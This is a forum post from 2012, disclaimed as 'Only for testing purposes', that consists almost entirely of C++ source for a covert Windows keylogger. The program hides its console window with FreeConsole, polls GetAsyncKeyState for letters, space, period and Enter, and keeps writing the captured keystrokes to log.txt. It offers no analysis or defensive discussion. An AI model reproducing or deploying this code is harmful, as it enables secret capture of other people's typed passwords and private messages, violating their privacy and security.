Valve Posted May 1, 2012 Posted May 1, 2012 Only for testing purposes #include <stdio.h> #include <windows.h> #include<iostream> #include <fstream> #include <string> using namespace std; int main(){ FreeConsole(); string log; while(true){ if(GetAsyncKeyState(0x41)){ cout<<"a"; log+="a"; Sleep(200); }; if(GetAsyncKeyState(0x42)){ cout<<"b"; log+="b"; Sleep(200); }; if(GetAsyncKeyState(0x43)){ cout<<"c"; log+="c"; Sleep(200); }; if(GetAsyncKeyState(0x44)){ cout<<"d"; log+="d"; Sleep(200); }; if(GetAsyncKeyState(0x45)){ cout<<"e"; log+="e"; Sleep(200); }; if(GetAsyncKeyState(0x46)){ cout<<"f"; log+="f"; Sleep(200); }; if(GetAsyncKeyState(0x47)){ cout<<"g"; log+="g"; Sleep(200); }; if(GetAsyncKeyState(0x48)){ cout<<"h"; log+="h"; Sleep(200); }; if(GetAsyncKeyState(0x49)){ cout<<"i"; log+="i"; Sleep(200); }; if(GetAsyncKeyState(0x4a)){ cout<<"j"; log+="j"; Sleep(200); }; if(GetAsyncKeyState(0x4b)){ cout<<"k"; log+="k"; Sleep(200); }; if(GetAsyncKeyState(0x4c)){ cout<<"l"; log+="l"; Sleep(200); }; if(GetAsyncKeyState(0x4d)){ cout<<"m"; log+="m"; Sleep(200); }; if(GetAsyncKeyState(0x4e)){ cout<<"n"; log+="n"; Sleep(200); }; if(GetAsyncKeyState(0x4f)){ cout<<"o"; log+="o"; Sleep(200); }; if(GetAsyncKeyState(0x50)){ cout<<"p"; log+="p"; Sleep(200); }; if(GetAsyncKeyState(0x51)){ cout<<"q"; log+="q"; Sleep(200); }; if(GetAsyncKeyState(0x52)){ cout<<"r"; log+="r"; Sleep(200); }; if(GetAsyncKeyState(0x53)){ cout<<"s"; log+="s"; Sleep(200); }; if(GetAsyncKeyState(0x54)){ cout<<"t"; log+="t"; Sleep(200); }; if(GetAsyncKeyState(0x55)){ cout<<"u"; log+="u"; Sleep(200); }; if(GetAsyncKeyState(0x56)){ cout<<"v"; log+="v"; Sleep(200); }; if(GetAsyncKeyState(0x57)){ cout<<"w"; log+="w"; Sleep(200); }; if(GetAsyncKeyState(0x58)){ cout<<"x"; log+="x"; Sleep(200); }; if(GetAsyncKeyState(0x59)){ cout<<"y"; log+="y"; Sleep(200); }; if(GetAsyncKeyState(0x5A)){ cout<<"z"; log+="z"; Sleep(200); }; if(GetAsyncKeyState(VK_SPACE)){ cout<<"_"; log+="_"; Sleep(200); }; if(GetAsyncKeyState(0x6E)){ cout<<"."; log+="."; Sleep(200); }; if(GetAsyncKeyState(0x0d)){ cout<<"/n"; log+="<br>"; Sleep(200); }; ofstream myfile; myfile.open ("log.txt"); myfile << log; myfile.close(); }; } Quote
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.